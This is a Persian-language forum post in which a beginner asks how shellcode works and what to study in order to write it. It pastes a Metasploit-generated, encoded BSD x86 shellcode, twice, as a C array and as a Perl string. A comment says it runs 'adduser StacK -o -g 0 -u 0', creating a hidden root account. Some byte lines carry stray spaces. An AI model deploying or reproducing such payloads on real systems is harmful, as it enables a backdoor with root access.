سلام به همه ی عزیزان
میخواستم بدونم ماهیت شل کد چیه و چگونه رفتار میکنه...
به این شل کد نگاه کنید ...این یک یوزر به نام StacK در یک سیستم bsd با دسترسی root
ایجاد میکنه.
/* bsd_ia32_exec - CMD=adduser StacK -o -g 0 -u 0 Size=92 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x2b\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x44"
"\xe5\xc8\x9a\x83\xeb\xfc\xe2\xf4\x2e\xde\x90\x03\ x16\x83\xa0\xb7"
"\x27\x6c\x2f\xc8\x2c\x8b\xe7\xe9\x2c\x8d\xe7\xb5\ x26\x8c\x41\x79"
"\x16\x0d\xd3\x9a\x44\xe5\xa9\xfe\x20\x90\xbb\xff\ x36\xc5\x9b\xee"
"\x25\x86\x83\xba\x69\x8a\xe8\xb7\x23\xc5\xf8\xba\ x69\x90\xe8\xaa"
"\x44\xb2\x9b\x13\xa5\xb7\x99\xc9\x14\x28\x48\x9a" ;
# bsd_ia32_exec - CMD=adduser StacK -o -g 0 -u 0 Size=92 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x44".
"\xe5\xc8\x9a\x83\xeb\xfc\xe2\xf4\x2e\xde\x90\x03\ x16\x83\xa0\xb7".
"\x27\x6c\x2f\xc8\x2c\x8b\xe7\xe9\x2c\x8d\xe7\xb5\ x26\x8c\x41\x79".
"\x16\x0d\xd3\x9a\x44\xe5\xa9\xfe\x20\x90\xbb\xff\ x36\xc5\x9b\xee".
"\x25\x86\x83\xba\x69\x8a\xe8\xb7\x23\xc5\xf8\xba\ x69\x90\xe8\xaa".
"\x44\xb2\x9b\x13\xa5\xb7\x99\xc9\x14\x28\x48\x9a" ;
همانطور که میبینید اینا یک سری کد hexa هستند و فکر میکنم معادل یک سری
دستور معادل زبان ماشین هستند که باید مستقیما در پردازنده اجرا بشن, ایا همینطوره؟؟؟
من این شل کد رو در متااسپلویت ساختم .....
چرا بین هر کدام از دستورات back slash (\) قرار داره؟؟؟
منظور چی بوده که هر خط رو بین یک double quotation (") قرار داده؟؟؟
در کل اگر من بخوام اینجور شل کدهایی بنویسم در لینوکس ...به غیر از دانش اسمبلی
و تسلط بر سیستم عامل چه چیز هایی رو باید یاد بگیرم؟؟؟
اگر نکاتی رو هم به ذهنتون میرسه که به دردم بخوره , ممنون میشم مطرح کنید..